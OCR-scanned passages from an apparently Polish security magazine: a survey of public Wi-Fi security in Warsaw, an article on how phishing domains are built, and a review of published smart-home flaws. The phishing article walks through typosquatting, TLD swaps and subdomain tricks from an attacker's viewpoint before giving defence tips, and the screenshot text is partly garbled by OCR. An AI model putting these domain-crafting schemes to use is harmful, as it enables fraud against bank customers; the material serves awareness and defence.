sieciowych kawiarni i restauracji szybkiej obstugi,

butikach, kinach, galeriach handlowych, dworcach
kolejowych i srodkach komunikacji miejskiej. Coraz
czesciej samorzady decyduja sie na montaz hotspotéw

w sgsiedztwie urzedéw dzielnic, zabytkow, a nawet

w parkach. Daje to, co prawda, wygode darmowego dostepu
do informaciji, jednak rodzi takze pytanie o bezpieczenstwo
uzytkownikdéw takich narzedzi. Czy dane, na ktérych
pracuja moga zosta¢ przechwycone? Czy inni uzytkownicy
sieci moga widzie¢ co robie i na ile istnieje rozliczalno$é
dostepu do tych sieci?

Publiczne sieci Wi-Fi przedstawione na mapie miasta

Przeprowadzone przeze mnie badanie miato
na celu ocene stanu bezpieczenstwa sieci
bezprzewodowych w przestrzeni publicznej
stolicy europejskiego panstwa.

Rozliczalnos$¢ dostepu

Wszystkie badane sieci informowaty o sukcesie
podtaczenia za pomoca captive portali z jednoczesna
prosba o potwierdzenie regulaminu przed uzyskaniem
dostepu. W czterech na dziesie¢ przypadkow,
uzytkownik proszony byt o podanie adresu email,

48

cho¢ zadna weryfikacja za jego posrednictwem

nie nastepowata, ot pozyskanie adresu do celéw
marketingowych. W jednym przypadku uzytkownik
proszony byt takze o podanie imienia.

Sie¢ goscinna pewnego banku oferowata darmowy
dostep Wi-Fi po podaniu loginu i hasta. Sposéb

ich pozyskania nie byt jednak okreslony, a sam portal
nie miat otwartej rejestracji. Pozostaje mi mie¢ nadzieje,
ze nie chodzito o te same dane, z ktérych ich klienci
korzystajg, uwierzytelniajgc sie w portalu transakcyjnym.

Portal logowania do bezprzewodowej
sieci Wi-Fi jednego z bankéw

SIGN IN TO WI-FI NETWORK
https://= &, .pl

Zaloguj sie
Witamy w portalu dla gosci. Zaloguj sie za pomoca
nazwy uzytkownika i hasta.

Nazwa uzytkownika:

Hasto:

Potaczytes sie z bezprzewodowa siecig Wi-Fi, udostepniong
przez Bank Sie¢ ta umozliwia uzyskanie
dostepu do Internetu i jest przeznaczona dla gosci Banku. Bank
ostrzega, ze dostep do sieci jest niezabezpieczony, w zwigzku z
czym jakiekolwiek informacje wysytane lub odbierane przez
urzadzenie uzytkownika moga by¢ przechwytywane przez
nieupowaznione osoby. Bank o$wiadcza, Ze nie ponosi zadnej
odpowiedzialnosci w zwigzku z korzystaniem przez
uzytkownika z potgczenia, w szczegdlnosci nie ponosi
odpowiedzialnosci za utrate danych, ich uszkodzenie,
przechwycenie, podmiang, pojawienie sie ztosliwego
oprogramowania, utrate potaczenia, a takze inne problemy,
ktore moga wyniknaé w zwigzku z uzywaniem potaczenia,
poruszaniem si¢ po sieci oraz pobieraniem lub wysytaniem

matarialdur Rank welbaziiia #a dactan dn ctran i tradniw

Akceptuje warunki

Oczywiscie, osiagniecie rozliczalnosci dostepu jest
trudne do uzyskania w takich warunkach. Trudne,
lecz nie niemozliwe. Kilka lat temu, ratusz jednej

z lewobrzeznych dzielnic Warszawy oddat do uzytku
mieszkancow kilkadziesigt punktéw dostepowych
darmowej sieci. Aby méc z niej korzystac, nalezato
zgtosi¢ sie do urzedu dzielnicy, by po wylegitymowaniu
uzyskac swéj personalny login i hasto. Niestety

w lutym 2018 roku zrezygnowano z tego rozwigzania
- jak czesto ma to miejsce, wygoda uzytkowania
moze zostaé przediozona nad bezpieczenstwo.

Rozwigzywanie domen

Z obserwacji wynika, ze w kwestii wykorzystywanych
serwerdow DNS panuje catkowita dowolnosé. W wielu
przypadkach skorzystano z rozwigzania dnsmasq,
ale zdarzaly sie sytuacje uzycia serweréw Google,
Netia, a takze Orange.

Co ciekawe, w pewnej galerii handlowej, gdzie cata
infrastruktura oparta byfa o te same rozwigzania
jednego producenta, okazato sie, ze poszczegdlne

sieci posiadajag catkowicie rézne konfiguracje serweréw
DNS. Rozwigzaniem, za ktérym optuje, jest lokalne
ustawienie zaufanych serweréw, na ,,sztywno”.
Zabezpieczy to przed problemami w razie zainfekowania
urzadzen dostepowych, jak réwniez innymi, ktére

moga dotykac¢ dostawcow rozwigzan DNS.

Sami w przestrzeni

Zdecydowanie nie. Tylko w dwéch przypadkach na
dziesie¢ router posiadat wtasciwie skonfigurowana izolacje
klientow. W pozostatych o$miu, szczytowym osiggnieciem
okazywat sie bardzo podstawowo skonfigurowany filtr,
wycinajacy pakiety ICMP, co realnie niczego nie zmieniato.
Samag enumeracje przytaczonych do urzgdzenia klientéw
mozna zrealizowaé na rézne sposoby, a dodatkowo
zdarzato sie, ze router udostepniat taka liste w panelu
administracyjnym. Bez koniecznosci uwierzytelnienia.

Warto nadmienié, ze w przypadku ruchu w sieci
lokalnej, prawie nigdy nie spotkatem sie z firewallem
skonfigurowanym tak, by blokowat okreslone protokoty.
Nieco odmiennie wyglada to w przypadku ruchu do WAN.
Tutaj w dwoch na dziesiec¢ przypadkoéw przepuszczany
byt jedynie ruch HTTP/HTTPS oraz DNS.

Nie zmienia to jednak faktu, ze w wiekszos$ci otwartych
sieci istnieje realne ryzyko przechwytywania transmisji
przez osoby nieupowaznione, jak réwniez przeprowa-
dzanie innych atakéw na urzadzenia przytgczonych
klientow.

Pozostate sieci

W trakcie badan wykryto takze dziesigtki tysiecy
urzgdzen prywatnych, z czego wiekszo$¢ ma sensowng
ochrone kryptograficzng. Zgodnie z przewidywaniami
standard WEP przestat istnie¢ — byt uzywany jedynie

w 96 punktach dostepowych, co stanowito mniej niz
0,23% wszystkich wykry¢. Wspomne, ze standard
WPS wspieraty 20678 routerdw.

Statystyki pokazujg rowniez, ze najpopularniejsze
rozwigzanie bazuje na podzespotach od Compal
Broadband Networks z ilo$cig 7728 routerdw,

a w dalszej kolejnosci, pierwsza pigtke zamykaja:
ARRIS (4538), Technicolor (2364), Sagemcom
(1976) oraz Cisco Systems (1697).

Warto zauwazy¢, ze nazwy niektorych sieci
sugerowaty, z urzgdzeniem ktérego producenta

i w jakiej wersji mamy do czynienia. Ujawnianie

tych informaciji jest oczywiscie naruszeniem
bezpieczenstwa, tym bardziej, ze te ktore znalaztem,
sugerowaty posiadanie podatnosci (m.in rodzina
TP-Link DWR).

Co robié, jak zy¢?

Wracajac jednak do kwestii sieci publicznych, warto
zauwazyc, ze bardzo wiele w kwestii bezpieczenstwa
moze zrobi¢ sam uzytkownik.

Najlepszym sposobem bedzie oczywiscie skorzysta-
nie z szyfrowanej transmisji, jaka zapewni tunel VPN.
Dodajac do tego wytaczenie zapamietywania sieci
(zeby urzadzenie nie prébowato nawigzywac
potaczenia bez naszej wiedzy, kiedy znajdzie sie

w zasiegu access pointa), czy nieudostepnianie zasobéw
naszego komputera (ochrona przed kradzieza danych,
infekcja malware, lub naduzyciem podatnosci systemu
operacyjnego) uzyskujemy catkiem solidne podstawy
bezpieczenstwa.

Uzytkownik powinien $wiadomie przegladac witryny,
korzystajgc z ich zabezpieczonej kryptograficznie
instanciji, czyli https. Ci mniej czujni zawsze moga
skorzystaé z wtyczek do przegladarek typu HTTPS
Everywhere lub pokrewnych. Nigdy nie zaszkodzi takze
posiadanie uruchomionego lokalnie oprogramowania
typu firewall. Absolutng podstawa jest instalowanie
na biezaco aktualizacji oprogramowania,

a w szczegdélnosci poprawek bezpieczenstwa.

Konkluzja

llo$¢ darmowych, publicznie dostepnych sieci

Wi-Fi wzrosta w ostatnich latach i nic nie zapowiada,
zeby w ciggu najblizszych lat stan ten miat ulec zmianie.
Niestety poziom ich zabezpieczen nie idzie w parze
z samg iloScig, przerzucajgc odpowiedzialno$¢ na
uzytkownikéw. Kluczowa role w tej sytuaciji moga
odegrac wszelkie kampanie uswiadamiajgce
adresowane do mniej $wiadomych uzytkownikéw
internetu. Alternatywg zawsze pozostanie korzystanie
z technologii internetu mobilnego oferowanego
przez wielu operatoréw telekomunikacyjnych.

Kamil Uptas
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Nie daj sie nabraé
- schematy tworzenia
domen phishingowych

Stworzenie domeny phishingowej nie wydaje sie
przesadnie trudne. Najwigkszy portal monitorujacy
phishing — phishtank.com notuje dziennie 1000-1500
zgtoszen. Na Polske kierowanych jest dziennie od 20 do 50
nowych domen phishingowych. Kazda z nich rozsytana
jest w wiadomosciach do setek czy nawet tysiecy
uzytkownikéw polskiego internetu. Jeden udany atak
moze wyczysci¢ zawartos¢ konta bankowego.

Zatem jest o co walczy¢.

»Stowa klucze” wykorzystywane w kampaniach
phishingowych

o dworzec “aFI3Y express

£ . ::.;-~_nO\.l’\-’ygaZEtEIpacz|(|ca_kbramka
5 tWOJ d polskiepolskaients forma port
link

twojezswiadomosciae g kty
przelewypaczka DO rwan ie:.:.i._:wiadomosc

faktur g ; 12 szybka
Kurier pay g -srev-

Bierzmy sie do dzieta. Najpierw nalezy ustali¢, jaki jest
nasz profil dziatalnosci. Mozliwosci jest kilka: wyludzanie
danych osobowych, wykradanie danych kart kredytowych,
tworzenie nieprawdziwych stron logowania do kont

w mediach spotecznosciowych lub - jesli chodzi nam

od razu o pienigdze — jesteSmy w stanie udawac panele
ptatnosci, a nawet strony bankéw. Nastepnie pozostaje
skopiowac strone docelowg, wprowadzi¢ drobne poprawki
i liczy¢ na naiwno$¢ potencjalnych ofiar, a tych, jak
wiadomo, nie brakuje. Oczywiscie jesli chcemy mieé
podstawowag wersje z newsami lub samym logowaniem
do serwisu. Wersja premium (bankowa) to dziesigtki
podstron, systemy powiadomien, bazy danych

i rozbudowana infrastruktura maskujaca.

W zaleznos$ci od obranej strategii musimy wiedzie¢, kogo
udawagé. Wtasnie, udawac, to stowo klucz wiekszosci
przypadkdéw domen phishingowych.

Najwazniejsze wydaje sie wywotanie zludnego wrazenia,

Ze ofiara jest na stronie internetowej, na ktérg chciata
trafi¢. Istniejg bardziej zaawansowane techniki ukrywania
znakdw, jak podmiana ich na podobne z innego kodowania
(np. ‘xn--xeabip5g4a7142aba3gc’ w Unicode to
‘P"HIS"H"ING’). Jednak tego rodzaju arsenat szybko

sie konczy i jego stosowanie ogranicza sie obecnie do
spearphishingu (phishingu celowanego w konkretng osobe
lub firme) lub wektora ataku (w SMS-ie powyzszy ciag
znakéw trudno ukryé) - to zwykle jednorazowy strzat...

Raz uzyta domena (w zaleznos$ci od sposobu rozsytania)

zyje od kilku godzin do kilku dni. Po tym czasie jest
bezuzyteczna, bo trafia na czarng liste u praktycznie
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wszystkich: dostawcéw internetu, dostawcédw hostingu,
rejestratoréw domen, przegladarek (Google Safe Browsing),
jest takze blokowana przez programy antywirusowe itd.

Zarejestrowanie domeny jest tanie (od 1 zt za rok), certyfi-
kat moze by¢ darmowy — samych certyfikatéw rejestruje
sie ok. 10 min dziennie. Nie wydaje sie to zatem przesad-
nie kosztowne czy trudne.

Pomysimy przez chwile jak tworca domeny phishingowe;j.
Niech naszym celem bedzie bank pracujgcy w domenie
www.bogatybank.pl (swojg droga, adres nie byt tatwy

do wymyslenia bo domeny superbank.pl, megabank.pl,
tanibank.pl itd. sg juz zajete).

Mozemy podmieniaé¢ TLD (Top Level Domain — ostatni
czton domeny) na podobny lub powigzany tematycznie

i wyjdzie nam z tego bogatybank.pl (mata litera ,,i” zapisana
jako duza daje ,I”), bogatybank.pk, bogatybank.pay,
bogatybank.pin, bogatybank.site, bogatybank.online itd.

Innym sposobem jest dopisa¢ stowa, ktére kojarzg
nam sie z rodzajem dziatalnosci: platnosc-bogatybank.pl,
weryfikacja-bogatybank.pl, logowanie-bogatybank.pl.

Nastepna opcja to pozmienia¢ troche w samej domenie,
w wyniku czego uzyskamy np.: https-bogatybank.pl,
wwwbogatybank.pl, www.bogaty-bank.pl, bogalybank.pl
lub bogaatybank.pl. Proste literowki tez wchodzg

w gre: bpgatybank.pl, bogatbyank.pl.

Kolejny sposéb to dodaé cyfry, ktére cos$ znacza:
bogatybank24.pl, bogatybank48.pl, bogatybank365.pl,
www.bogatybank007.pl lub cyfry, ktdre nie znacza nic:
bogatybank1.pl, 28bogatybank.pl.

Jezeli chcemy produkowaé takie domeny na masowa
skale, mozemy réwniez zarejestrowac taka, ktéra nie
rzuca sie w oczy np. jkhs.pl i pod takim adresem tworzy¢
np.: bogatybank.pl.secure-payment1231313.jkhs.pl,
bogatybank.pl.platnosc-zaleglosci.jkhs.pl, bogatybank.
pl.zaplac-szybko-komornik.jkhs.pl itd. W tym przypadku
liczba stworzonych domen jest niemal nieograniczona,
natomiast dosy¢ tatwo takg strone zlokalizowac juz

po pierwszym ataku, a nastepnie $ledzi¢ kolejne jej
wcielenia.

Na to tez jest sposdb, istniejg firmy hostingowe, ktére
oferujg strone internetowg w ich wtasnej domenie, nie
ma zatem problemu, by uzyé adresu: bogatybank-pl.
wygodnyhosting.pl. W tym przypadku jednak kazdy taki
phishing dziata bardzo negatywnie na wizerunek firmy
hostingowej. Poza tym, rejestrujac domene musimy

sie jakimis danymi zarejestrowad, z jakiego$ konta zrobic¢
przelew, zostawi¢ slad w postaci IP. Godne pochwaty

sa firmy, ktére np. uniemozliwiaja rejestracje z sieci TOR.

Zdarzajg sie ,ataki” na mate firmy hostingowe, gdzie

pod legalng domena nieswiadomej firmy pojawia sie
50-100 nowych adreséw jednego dnia. Aktualny rekord

to 500 kolejno ponumerowanych domen zarejestrowanych
w ten sposédb.

Kolejnym przyktadem sg domeny, ktére nie udaja
konkretnej marki, a bazujg na naszej psychice. Podstawa
jest tu strach i szybkos$¢ dziatania: www.zaplac-szybko-dlug.pl,
www.komornik-oplata.pl, www.oplac-blokada-konta.pl itd.

Tu wyrdzni¢ musimy przynajmniej pare tematow,
wokoét ktorych obracajg sie kampanie phishingowe.

Fake newsy — bazujg zwykle na naszej ciekawosci

i stuzg do zdobywania danych logowania do portali
spotecznosciowych. Bryluja takie sfowa jak: porwanie,
dworzec, dziecko, policja, news, telewizja, gazeta,
informacije, sport, fakty i inne przyciaggajace uwage historie.
Czesto tez nazwy prawdziwych znanych mediéw. Zdobyte
w ten sposo6b dane uzywane sg potem do wytudzania
pieniedzy od znajomych ofiary (BLIK), rozsytania wirusow

z ,czystego konta” czy tez publikowania reklam
zachecajacych nas do ptatnej subskrypciji.

Fragment strony phishingowej.

[ < Ol e < & [Wysotai- o
[ [Emr————
Kaptur. Gdy 3-latka ni i rodzi jga rodzi ilo rozpocza¢ poszukivwani i jeiw
e ) e ha Tyt RS ol S pe et e s e et e
zaangatowano Policje. Marysil wcia? nie udalo sie odnalez¢. Liczymy, ze byé jawi sie ktos, 2 nagrania i bydzie
mial jakiekolwiek informacje, mogace pomdc rozwiazaé zagadke znikniecia 3-latki. - prawe zaginionej
Marysi. Chemy sily mediow ide jwieksze] liczby os6b. Z informacji przekazanych przez
ynika, ze Marysia mi i izng na podbrédiu (ok. 0,5 cm dhugosci) oraz znamie w okolicy lewe; lopatii (dl. ok. 3

em).

Monitoring zarejestrowat cate zajscie. Prosimy o pomoc w odnalezieniu sprawcy!

Ze wzgledu na drastycznosc materiat dostepny dla oséb powyzej 18
roku zycia
Zweryfikuj swoj wiek przez facebooka

Zaloguj sie

Archiwum / Kontakt / Regulami u / Cookies / Reklamaw Fakt.pl

Drobne optaty — paczka, kurier, przelew, oplata, teraz, szybko,
przesytka — tu zwykle znajduje sie podstawiona strona operato-
ra ptatnosci, ktéra wymaga od nas wpisania danych karty kre-
dytowej lub danych logowania do banku, bo mamy 1,98 zt do
doptaty lub nieznany nam dtug w wiekszej kwocie z tykajagcym
zegarem w zanadrzu.

Fragment strony phishingowej

x| +

& simonakurier.com/oplata26/

PavLy English Polski

Podsumowanie Wybierz sposéb zaptaty

wiwwsmyk.com

Metody platnosci
Calkomity 99.99 PLN

(2]  Praclew bankowy

online lub przelewem

Uzupehnij dane

Imie Nazwisk
Adres e-mail

Numer telefonu

Ostatni typ stownictwa to stowa charakterystyczne dla
rodzaju dziatalnosci wiasciciela strony, ktérg chcemy
udawac. Moga to by¢ regulaminy, konta, bezpieczne hasta,
konkursy, bony, loginy, operatorzy, Apple ID itd. Zwykle
tego rodzaju kampanie stuzg do wytudzania danych log-
owania do serwiséw internetowych jak Apple, Microsoft,
Netflix, Allegro, Google itd.

Jak zatem ustrzec sie phishingu i nie sta¢ sie kolejng ofiarg
oszustéw? Czestym problemem przy rozpoznawaniu
fatszywej domeny jest to, ze tak naprawde nie widzimy,

w jaki link klikamy. Prawdziwy adres jest ukryty pod polem,
gdzie zobaczymy np. obrazek, a po kliknieciu przejdziemy
na zupetnie inng strone. Najprostszg obrona jest najechanie
na link (nie klikniecie), woéwczas w lewym dolnym rogu
przegladarki pojawi sie prawdziwy adres.

Problemem jest jednak to, ze przeglgdamy strony interne-
towe na naszych smartfonach. Tu nie mozemy najechac
na adres i podejrze¢ co pod spodem. Ale i na to jest
sposéb — mozemy prébowaé skopiowac link (przytrzymac
palec na linku). Wtedy tez wyswietli sie prawdziwy adres.

Niestety na smartfonach czcionka jest mata, czasem w ogole
pole adresu jest niewidoczne, stad trudniej rozpoznac sztuc-

zki wymienione we wczesniejszej czesci artykutu. Od zawsze

uczono nas, ze zielona ktddka jest gwarancjg bezpieczenstwa.
Obecnie nie jest to w zasadzie gwarancja niczego.

Od dtuzszego czasu obserwujemy jedng kampanie phishin-
gowa, gdzie w tygodniu pojawiajg sie trzy-cztery nowe
domeny. Tylko okoto 15-20% z nich nie ma zarejestrowanego
certyfikatu. Co ciekawe dla tego przypadku: rejestracja
domeny odbywa sie hurtowo — np. zestaw na caty tydzien.
W dniu ataku na godzine przed wysytka odbywa sie
rejestracja certyfikatu, a potem nastepuje atak. Zwykle

sa to godziny popotudniowe/wieczorne — kiedy jestesmy
zmeczeni i wychodzimy z pracy.

Jedyna gwarancjg tego typu jest certyfikat Extended
Validation prawidtowo przypiety do strony i wystawiony
na prawidtowa firme. Niestety wciaz tylko czes$¢ z firm
Z niego korzysta.

Certyfikat bezpieczenstwa domeny

®0 & Orange Polska S.A. (PL) ‘ https://fwww.orange.pl

< Bezpieczeristwo

& www.orange.pl
Zabezpieczone polgczenie
Polgczenie bezpieczne, strona:
Orange Polska 5.A.
Warszawa

PL

Zweryfikowana przez: DigiCert Inc

Wiecej informagi...
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Aby skutecznie sie broni¢, powinnismy réwniez pamietac

o kilku zasadach. Poszczegdlne cztony domeny moga

by¢ dzielone tylko kropkami. Popatrzmy na domene od
konca - jesli ostatni czton to: ,,..pl”, jesli kolejny to:
~bogatybank” to w wiekszosci przypadkdw jestesmy
bezpieczni. Domena logowanie.bogatybank.pl wraz

z prawidtowym certyfikatem jest domeng bezpieczna.

Jesli nasz bank zawsze korzystat z domeny www.nasz-bank.
pl to oczywiscie platnosc.nasz-bank.pl tez jest w porzadku.

Mozemy sprawdza¢ date wystawienia certyfikatu — ten
wystawiony dla fatszywej strony czesto ma 3 miesigce
waznosci (Let’s Encrypt) lub/i zostat wystawiony pare
godzin/dni temu. Mozemy sprawdzi¢ wiek domeny
(WHOIS) - rzadko sie zdarza, by uzywano domen
starszych niz kilka dni. Cho¢ i od tego sg wyjatki.

Starajmy sie nie dziata¢ impulsywnie
(wtedy tatwiej o btad). Pamietajmy,
Ze bank lub serwis, do ktorego sie
logujemy, ma zwykle tylko jeden,
przeznaczony dla klientow

adres - zawsze ten sam.

Finalna strona logowania do réznego rodzaju serwiséw (ptat-
nosci, ogtoszen, portali spotecznosciowych) niemal nigdy nie
znajduje sie pod innym adresem niz docelowy tj. okno logo-
wania jest pod adresem, ktéry konczy sie na to przyktadowe
bogatybank.pl, a nie doplata-komornik.eu/logowanie. Nawet
jesli sama strona wyglada identycznie. Jesli juz klikneliSmy

i widzimy np. portal aukcyjny to najedzmy kursorem na linki
- wiekszo$¢ z nich bedzie prowadzié¢ do prawdziwej strony
portalu, ale link do zaloguj czy kup jako jedyny poprowadzi do
jakiegos dziwnego adresu np. www.bezpieczne-aukcje.pay.

Sposobem obrony jest tez automatyczne generowanie

i zapisywanie haset (moze niekoniecznie w przegladarce),
wowczas podpowiedz dostaniemy tylko i wytgcznie na
stronie banku lub serwisu, do ktérego zwykle sie logujemy,
a nie tego, ktéry go udaje.

Jesli otrzymali$my powiadomienie z URL-em i nie ma to
zwigzku z naszymi wczesniejszymi dziataniami (np. nie
kliknelismy wczesniej przypomnij hasto, nie zamawialiSmy
kuriera, nie mamy umowy z operatorem), to jest to niebez-
pieczna sytuacja. Jesli jednak wystawiliSmy ogtoszenie,

a domena w linku wyglada podejrzanie, tez zachowajmy
ostrozno$¢. Znana jest historia scrapowania numeréw
telefonéw z portalu ogtoszeniowego, a nastepnie wysyiki
SMS-éw z prosbg o doptate do ogtoszenia.

Starajmy sie nie dziataé¢ impulsywnie (wtedy fatwiej o btad).
Pamietajmy, ze bank lub serwis, do ktérego sie logujemy,
ma zwykle tylko jeden, przeznaczony dla klientow

adres — zawsze ten sam.

Grzegorz Zembrowski
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Internet Rzeczy, czyli troche
o inteligentnych domach

Urzadzenia, ktére znajg nasze nawyki, zdalnie sterowane
systemy alarmowe, elektroniczne zamki do drzwi, ekspresy
do kawy, ktére same nam jg zaparzaja, lodéwki, ktore
zamawiajg brakujace artykuty spozywcze oraz lodéwki,
do ktérych mamy aktualny podglad poprzez smartfona,
co znajduje sie w lodéwce jak np. jesteSmy w sklepie,
monitoring w domu — kamery, telewizory, z ktérymi komu-
nikujemy sie mowg czy gestami, regulatory temperatury

na grzejnikach C.O, piece C.O, smart gniazda sieci elektry-
cznej to juz nie science fiction ani zabawki dla bogatych
ludzi. Te wszystkie urzagdzenia i wiele innych po podtaczeniu
do sieci majg z zatozenia utatwia¢ nam zycie i czynic je
wygodniejszym — czy aby na pewno?

Udogodnienia inteligentnego domu to réwniez problemy

i zagrozenia. Podigczanie urzgdzern domowych do internetu
sprawia, ze ich dziatanie staje sie zalezne od jakosci tacza,
jego predkosci dziatania np. serwera. Z drugiej strony,
wykorzystujgc dobra techniki podtaczone do sieci, moga
postuzy¢ cyberprzestepcy, ktdrzy poszukuja mozliwosci
przejecia kontroli nad naszym sprzetem. Moga sie dowiedziec,
gdzie jestes, kiedy wrécisz do domu i wejsé do niego bez
wytamywania drzwi. To wszystko jest mozliwe, szczegdinie
wtedy, gdy systemy te nie sa wtasciwie zabezpieczone.
Wazna jest w tym przypadku swiadomo$¢ zagrozen, a ich
unikniecie nie bedzie trudne. Na poczatek wystarczy zdrowy
rozsadek i sprawdzanie, jakie aplikacje instalujemy

do sterowania tymi urzgdzeniami.

Jakie stabe punkty naszego inteligentnego
domu moga wykorzystac cyberprzestepcy?

System nadzoru i obserwacji chroni domy poprzez automa-
tyczne zamykanie drzwi wejsciowych i okien czy monitoro-
wanie otoczenia za pomoca kamer. Dzieki podtgczeniu do
internetu wszystkie te urzadzenia moga by¢ zdalnie sterowane
przez wtascicieli... jak i przez i cyberprzestepcow. Jesli nie sg
w petni chronione, bardzo tatwo jest przeja¢ nad nimi kontrole.

Inteligentne telewizory sg wyposazone w mikrofony i wbu-
dowane kamery, ktére majg funkcje rozpoznawania gtosu,
co umozliwia automatyczng obstuge ustawien. Jednak
potaczenie do sieci stwarza ryzyko wycieku prywatnych
filméw czy zdjec.

Eksperci Trend Micro informowali w 2019 roku, o wykryciu

w inteligentnych telewizorach aplikacji zainfekowanych
ztosliwym oprogramowaniem typu backdoor, wykorzystujgcym
starg luke w zabezpieczeniach Androida. Wiekszo$¢ doste-
pnych obecnie na rynku telewizoréw smart nie pracuje na
aktualnych, zatatanych wersjach systemoéw operacyjnych.
Atakujgcy moga z powodzeniem wykorzystywaé znane od
dawna podatnosci do przeprowadzania atakdw.

Urzagdzenia tego typu najczesciej wyposazone sg w tatwe
do oprogramowania systemy takie jak np. Android, jednak
producenci nie za bardzo interesuja sie, aby odpowiednio

zabezpieczy¢ je przed niepowotanym dostepem. Tworcy
oprogramowania nie wykonuja zadnych aktualizacji, ktére
aktualizowatyby nowo odkryte luki w bezpieczenstwie.
Elementy inteligentnego domu moga sie stac tatwym
celem dla cyberprzestepcow, ktérzy chcg wykrasé dane
czy zadajg okupu np. blokujac ogrzewanie domu zima.
Cyberprzestepcy korzystaja z tego, ze wiele urzadzen
jest potagczonych z siecig i zwieksza sie ryzyko ujawnienia
prywatnych informacji. Wobec tego wtasciciele inteligen-
tnego domu powinni unika¢ pobierania aplikacji ze stron
prowadzonych przez podejrzane firmy, nie moga zapo-
mina¢ tez o instalacji odpowiedniego oprogramowania
zabezpieczajacego.

Jak pokazaty testy przeprowadzone przez firme
Kaspersky Lab, nadal istnieje wiele sposobow
umozliwiajgcych przejecie kontroli. Jednym z nich
byta luka w serwerze chmurowym, poprzez ktory
wiasciciel steruje domem.

~Jak ujawnita firma Kaspersky, ,inteligentny dom Fibaro
umozliwiat dowolnej osobie przestanie i pobranie danych
kopii zapasowej inteligentnego huba z i na serwer chmu-
rowy. Inteligentny hub stanowi najwazniejsze urzadzenie
w inteligentnym domu, poniewaz steruje np. termostatami,
automatami do kawy, systemami zabezpieczajgcymi itp.
Dane znajdujace sie w kopii zapasowej huba zawierajg
wiele ciekawych informaciji o domu i jego wtascicielu,

w tym lokalizacje nieruchomosci oraz smartfona, adres
e-mail, na ktére zarejestrowane jest konto hosta, w syste-
mie Fibaro, jak réwniez liste potaczonych urzadzen wraz
z ich hastami (wszystkie w postaci niezaszyfrowanego
tekstu). Przechowywane tam byto réwniez hasto do pa-
nelu administratora wykorzystywane do zdalnego stero-
wania domem. W przeciwienstwie do pozostatych haset,
znajdujgcych sie w kopii zapasowej, byto ono zabezpie-
czone, a doktadniej zahaszowane. Jesli jednak atakujgcy
chciat pobra¢ wszystkie kopie zapasowe przechowywane
w chmurze Fibaro, mégt odgadnaé najprostsze i najczesciej
pojawiajace sie hasta — np. ,password1” — dla ktérych
hasz byly takie same. Po przedostaniu sie do panelu
administratora przestepca mogt wykorzystac jedna z luk
w celu zdalnego wykonania kodu i zdobycia uprawnien
superuzytkownika w systemie, ktéry ma nieograniczone
uprawnienia. Jak na ironie, prawdziwy witasciciel domu
ma ich o wiele mniej.

Z kolei testy przeprowadzone przez badaczy na uniwersyte-
cie College of William ujawnity luki bezpieczenstwa dwéch
platform dla inteligentnego domu: Nest (od firmy Nest Labs,
ktorej wiascicielem jest firma Google) oraz Hue (produkowanej
przez firme Philips).

~Specjalisci z firmy Nest Labs zwrdcili szczegding uwage

na zabezpieczenie systemdw ochronnych aplikacje i urza-
dzenia firm zewnetrznych nie moga zmienia¢ ustawien
kamer zabezpieczajgcych oraz innych komponentow
odpowiedzialnych za bezpieczenstwo domu, jak réwniez
wiagczacé je i wytgczaé. Jednak system ten uzywa pewnych
atrybutdw, ktore powszechnie wystepuja w systemach
zabezpieczajgcych i urzadzeniach, a ktére sg znacznie mniej
chronione. Wartosci takich atrybutéw sg przechowywane

w jednym magazynie, do ktérego majg dostep wszystkie
urzadzenia, jakie ich potrzebujg do dziatania. Co wiecej,
niektére mniejsze, jak przetgczniki $wiatta czy termostaty,

w wielu przypadkach potrafig nie tylko odczytywac potrzebne
im wartosci, ale takze je zmieniac. Z jednej strony pomaga to
automatyzowac i upraszczac rutynowe operacje. Na przyktad
gdy wychodzisz rano do pracy, nie musisz wydawac polecen
dla kazdego urzadzenia oddzielnie. Aplikacja kontrolujaca
przetacznik moze uzy¢ na przyktad geolokalizacji w celu okres-
lenia, ze wtasciciel wyszedt juz z domu, a nastepnie przestaé
te informacje do magazynu i przypisa¢ atrybutowi warto$é
away, ktéry okresla nieobecnosé. Wartos¢ te odczytuje nie
tylko sam przetacznik (ktéry nastepnie wytacza $wiatto), lecz
rowniez pozostate urzadzenia. Kazde z nich wykonuje zapro-
gramowane dziatanie: klimatyzacja dziata mniej intensywnie,
odtwarzacze muzyczne wytaczaja sie, a kamery monitoringu
rozpoczynajg nagrywanie. Jesli jednak system uzna, ze wtasci-
ciel powrdcit do domu, kamery zostajg wytgczone, co zmniej-
sza ogolne bezpieczenstwo. Dostepnych jest kilka urzadzen
kompatybilnych z Nest, ktére majg prawo zarzadzac trbami
home/away. Badacze zdecydowali sie sprawdzi¢ bezpieczen-
stwo przetgcznika Kasa autorstwa firmy TP-Link. Oprocz
wspomnianej mozliwoséci odczytu i zmiany ustawien trybu
home/away, na ich wybor ztozyta sie takze popularnos$é
aplikacji Kasa Smart stuzacej do zdalnego sterowania urza-
dzeniem (ponad milion pobran w sklepie Google Play).

Po doktadniejszej analizie okazato sie, ze program umozliwia
atakujagcemu przechwycenie potaczenia z serwerem i wysy-
tanie do niego polecen. Btad zostat wykryty w procedurze
autoryzacji, a doktadniej w toku myslenia programistow
aplikacji na temat jej zabezpieczen — aby dane wiascicieli
konta nie wpadty w niepowotane rece, aplikacja i serwer na-
jpierw nawigzuja potaczenie szyfrowane. W tym celu aplikacja
wysyta do serwera zadanie, ktére wyswietla jej certyfikat SSL
potwierdzajacy, ze serwer jest zaufany. Aplikacja sprawdza
autentycznos$é certyfikatu, a jesli jest oryginalny, potajemnie
przekazuje serwerowi token (dane wykorzystywane do iden-
tyfikacji uzytkownika). Jednak podczas procedury sprawdza-
nia wkradat sie btad, w wyniku ktérego aplikacja Kasa miata
akceptowac wszystkie certyfikaty”.

Problem z uprawnieniami nadawanymi aplikacjom
zewnetrznym dotyczy rowniez inteligentnego systemu
oswietleniowego Philips Hue.

Zaprojektowano go tak, aby kazdy program wymagat od
wtasciciela zgody na nawigzanie potgczenia z inteligentnym
domem. Uprawnienie to moze zosta¢ nadane poprzez
wcisniecie przycisku na panelu sterujgcym, poprzez ktéry
dziatajg urzgdzenia Hue. Aplikacja oraz panel sterujgcy
muszg znajdowac sie w tej samej sieci lokalnej. Oznacza

to, ze osoby przebywajgce w poblizu nie moga potaczy¢

sie z Twoim inteligentnym domem, w celu wystania zagdania.
To dobry pomyst, jednak jego wdrozenie nie poszto zgodnie
z zatozeniem. Jak odkryli badacze, przycisk ten moze zostaé
wcisniety nie tylko przez uzytkownika, lecz rowniez przez
kazdy program, ktory jest juz potaczony z urzadzeniem Hue.
